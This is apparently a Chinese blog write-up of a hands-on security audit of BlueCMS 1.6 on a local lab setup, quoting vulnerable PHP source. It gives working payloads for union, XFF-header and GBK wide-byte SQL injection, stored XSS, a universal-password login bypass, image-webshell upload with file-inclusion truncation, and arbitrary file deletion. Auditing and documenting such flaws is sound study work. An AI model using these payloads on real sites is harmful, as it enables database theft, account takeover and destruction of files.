菜鸡对bluecms的审计

336 阅读3分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第十三天,点击查看活动详情

安装

安装时候遇见了显示空白的问题,过程中忘记截图记录了,这里简单说一下,我环境里面还有其他东西,所以安装是localhost/bluecms/uploads/install,但是访问是空白的,需要把install/compile里面那个php文件删除掉;另外就是安装到step5显示空白,尝试了百度上说降低php版本和给权限无果后,想到了最简单粗暴的办法,找到源码把index.php里面的step5给注释掉了哈哈哈哈哈希望之后不会因为这个报错。

环境

phpstudy lamp php5.2.17 bluecms 1.6 windows10

目录结构

image.png admin -> 管理员后台 api -> 接口 data -> 数据 images -> 图片 include -> 功能点文件,编辑器、支付等 install -> 安装文件 template -> 模板

前台漏洞

ad_js.php存在数字型注入

搜索require,首先发现ad_js.php,往下看,发现给$_POST、$_GET这些超全局变量加了一层deep_addslashes()

function deep_addslashes($str){
        if(is_array($str))
        {
            foreach($str as $key=>$val)
            {
                $str[$key] = deep_addslashes($val);
            }
        }
        else
        {
            $str = addslashes($str);
        }
        return $str;
}

之前看过一篇文章,deep_addslashes()容易存在数组key注入,但是这里的这个好像是没有的

\$ad_id = !empty(\$_GET['ad_id']) ? trim(\$_GET['ad_id']) : '';
\$ad = \$db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".\$ad_id);

使用了getone()函数,追踪下mysql.class.php,发现是直接带入了查询,那么就可以使用数字型注入

function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }
?ad_id=1%20union%20select%201,2,3,4,5,6,database()#

image.png 这里简单写下key注入

<?php
    foreach($_GET as $key=>$value){
         foreach($value as $a=>$b){
              $c=addslashes($b);
             echo $a."<br/>";
              echo $c."<br/>";
              echo $b;
         }
    }
?>

?key[hh']=11' image.png 可以看到其实$a和$b是没有被转义的,因此存在数组key注入 我可能一直对数组没学明白,这里从代码方面写一下数组,以及为什么会存在数组注入

<?php
$row = array("one'" => "1'", "two'" => "2'");
foreach ($row as $key => $val) {
    echo $key . '--' . $val;
    echo "<br/>";
    echo $row[$key];
    echo "<br/>";
}
?>

image.png 输出结果$key=one,$val=1,$row[$key]=1,一直困扰我的点就是我认为$val=1,那么根据deep_addslashes()函数里面的$str[$key] = deep_addslashes($val)的话,$row[$key]就应该为1,也就是转义后的$val,但其实不是这样的,$key仍然是one,那么再回到写的demo里面

<?php
$username = array("aaa" => "111");
$username = deep_addslashes($username);
function deep_addslashes($str)
{
    if (!$str)
        return $str;
    if (is_array($str)) { // 数组处理
        foreach ($str as $key => $value) {
            var_dump($str);
            print "</br>";
            var_dump($str[$key]);
            print "</br>";
            $str[$key] = deep_addslashes($value);
            var_dump($key);
        }
    }
}

那么$key = aaa',$value = 111',$str[$key] = deep_addslashes($value) = 111',但是这里要注意的是key仍然为aaa' 所以说存在数组key注入,\srt[key'payload]=value

comment.php、guest_book.php存在XFF注入

在common.inc.php里面发现对$_POST、$_GET等都进行了deep_addslashes()过滤,但是少了$_SERVER,而通过comment.php的内容,我们知道需要$_SERVER[‘X_FORWARDED_FOR']获取ip,获取到的ip将会直接传入到数据库中,文件中也定义了一个函数来获取ip,可以看到和我们想的是一样的

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
            VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
    $db->query($sql);
function getip()
{
    if (getenv('HTTP_CLIENT_IP'))
    {
        $ip = getenv('HTTP_CLIENT_IP'); 
    }
    elseif (getenv('HTTP_X_FORWARDED_FOR')) 
    { //获取客户端用代理服务器访问时的真实ip 地址
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_X_FORWARDED')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED');
    }
    elseif (getenv('HTTP_FORWARDED_FOR'))
    {
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }
    elseif (getenv('HTTP_FORWARDED'))
    {
        $ip = getenv('HTTP_FORWARDED');
    }
    else
    { 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

getenv()是一个获取系统环境变量的函数,没有对ip进行过滤,直接从$_SERVER中获取的,那么就可以构造X_FORWARDER_FOR或者REMOTE_ADDE、CLIENT_IP的值来进行注入,也就是常说的ip伪造 报错,但是后面使用报错注入不知道为什么不出数据,只能sqlmap了....我恨 image.png POST包保存为1.txt,将XFF设置为*,这样sqlmap才知道要在哪里进行注入 python sqlmap.py -r 1.txt --batch --level 4 -dbs image.png

user.php存在xss、宽字节注入

之前一直是在登录状态,今天刚打开网站发现是个注册界面,随便输点数据,抓包看下 image.png 发现跳到了do_reg这个函数里面,追踪下这个函数

 elseif ($act == 'do_reg') {
    $user_name      =   !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
    $pwd            =   !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
    $pwd1           =   !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
    $email          =   !empty($_POST['email']) ? trim($_POST['email']) : '';
    $safecode       =   !empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
    $from = !empty($from) ? base64_decode($from) : 'user.php';

    if (strlen($user_name) < 4 || strlen($user_name) > 16) {
        showmsg('用户名字符长度不符');
    }
    if (strlen($pwd) < 6) {
        showmsg('密码不能少于6个字符');
    }
    if ($pwd != $pwd1) {
        showmsg('两次输入密码不一致');
    }
    if (strtolower($safecode) != strtolower($_SESSION['safecode'])) {
        showmsg('验证码错误');
    }
    if ($db->getone("SELECT * FROM " . table('user') . " WHERE user_name='$user_name'")) {
        showmsg('该用户名已存在');
    }
    if ($db->getone("SELECT * FROM " . table('admin') . " WHERE admin_name='$user_name'")) {
        showmsg('该用户名已存在');
    }
    $sql = "INSERT INTO " . table('user') . " (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";

发现通过POST进行传参,我们知道的是在配置文件里面已经对POST进行deep_addslashes()转义,SQL查询也加了单引号进行包裹,但是!!看我发现了什么 image.png 编码为gbk,哈哈哈哈哈哈哈哈宽字节注入我来了,因为用户名限制在十六个字符内,而密码又进行了md5编码,那我们就可以把重心放在email这里,加个%df',所以payload为:

123@qq.com%df',1,1),(100,0x7a6875616e6779,md5(123456),(select database()),1,1);#

那么数据库就是:

insert into blue_user (user_id,user_name,pwd,email,reg_time) values (1,'eee','111','123@qq.com%df',1,1),(100,0x7a6875616e6779,md5(123456),(select database()),1,1);#')

其中的用户名因为单引号问题所以转换为十六进制 image.png 可以看到email位置,已经输出了库名 image.png 简单说下宽字节注入,addslashes()会在我们输入的单引号前面添加一个转义符\,但是在gbk里面%df'也就是编码后的%5C%27,%df%5c就是繁体字連,那么就能成功逃逸出单引号 另外这里直接把数据带入数据库中进行查询,且没有进行什么过滤,那么就可以尝试xss

还是在email中传参,email=123@qq.com"><script>alert(1)</script>

image.png image.png 还是一个存储型xss image.png

user.php存在万能密码登录

继续看前台这个登录,抓包看下 image.png 去看index_login函数,只是简单的不为空和去除空格

$user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';
$pwd = !empty($_REQUEST['pwd']) ? trim($_REQUEST['pwd']) : '';
$w = login($user_name, $pwd);

继续追踪login函数,重点是

$sql = "SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name' and pwd=md5('$pwd')";

就可以使用万能密码进行登录,注意要根据SQL语句使用括号进行闭合

user_name=qq111&pwd=eeee%df') or 1=1#

image.png

user.php存在文件上传

根据源码,只能上传图片类型的,所以上传了一个图片马,所以需要寻找一处有文件包含的点,这里有个很快速的办法:全局搜索require/require_once/include/incluede_once => $_POST/$_GET可控制传参

include 'include/payment/' . $_POST['pay'] . "/index.php";

哦吼,可以控制pay的值,配合文件上传进行包含,需要把后面的index.php截断掉,这里有两个办法

%00/%20截断

但是这里是有条件的,需要php低版本,并且magic_quotes_gpc=off image.png

文件名溢出截断

Windows下长度为256,linux为2096

submit=%D4%DA%CF%DF%D6%A7%B8%B6&price=30&id=B1620460664E&name=%B1%E3%C3%F1%BF%A8&pay=../../data/upload/face_pic/16204526497.png....................................................................................................................................................................................................................................................................................................................................................................................

user.php存在目录读取&任意文件删除

参考这位师傅的文章 www.jianshu.com/p/49949a564… xz.aliyun.com/t/7074

$from = !empty($from) ? base64_decode($from) : 'user.php';

可以看到$from这个是可控的,继续跟进这个变量

showmsg('欢迎您 ' . $user_name . ' 回来,现在将转到...', $from);

先看下showmsg函数的内容

function showmsg($msg,$gourl='goback', $is_write = false)
{
    global $smarty;
    $smarty->caching = false;
    $smarty->assign("msg",$msg);
    $smarty->assign("gourl",$gourl);
    $smarty->display("showmsg.htm");
    if($is_write)
    {
        write_log($msg, $_SESSION['admin_name']);
    }
    exit();
}

虽然这里定义了$gourl='goback',但是我们仍然可以赋值 直接跳转到$from里面,可以看到这是在$act=do_login函数里面的内容,抓包看下,form这里面默认是空白的,我们传admin/index.php进去 image.png 任意文件删除

if (!empty($_POST['face_pic1'])) {
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false) {
            showmsg('只支持本站相对路径地址');
        } else {
            $face_pic = trim($_POST['face_pic1']);
        }
    } else {
        if (file_exists(BLUE_ROOT . $_POST['face_pic3'])) {
            @unlink(BLUE_ROOT . $_POST['face_pic3']);
        }
    }

如果face_pic1为空,就可以进去下面的else,设置face_pic3的值为文件名就可以随意删除了 image.png image.png image.png 全局搜索unlink,可以发现很多任意文件删除 image.png unlink()函数用来删除文件,只要绕过if判断,配合burp就可以达到任意文件删除的功能

后台漏洞

前台的感觉看了七七八八了,感觉后台的功能很多,研究研究后台

ad_phone.php存在存储型xss和宽字节注入

和前面的user.php是一样的,content等地方未对用户传入的参数进行过滤,可以直接进行xss和宽字节注入怀疑content等地方未对用户传入的参数进行过滤,可以直接进行xss和宽字节注入 怀疑id存在宽字节注入,id的值经过GET方式直接传参进行,虽然有addslashes()对单引号进行转义,但是仍然可以使用宽字节注入绕过

elseif($act == 'del')
{
    if(!$db->query("DELETE FROM ".table('ad_phone')." WHERE id=".$_GET['id']))
    {
        showmsg('删除电话广告出错', true);
    }

image.png

ad.php存在xss

$exp_content = !empty($_POST['exp_content']) ? trim($_POST['exp_content']) : '';
    $sql = "INSERT INTO ".table('ad')." (ad_id, ad_name, time_set, start_time, end_time, content, exp_content) VALUES ('', '$ad_name', '$time_set', '$start_time', '$end_time', '$content', '$exp_content')";
    $db->query($sql);
    showmsg('添加新广告成功', 'ad.php');

ad_name只进行了不为空和去除空格操作,不影响xss ad_name=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28123%29%3E,和上面一样也是可以宽字节+insert注入 ann.php的$content、arc_cat.php的$description存在SQL注入和xss 这后台的SQL注入和xss也太太太多了吧!!!就不写了啊啊啊啊啊啊啊啊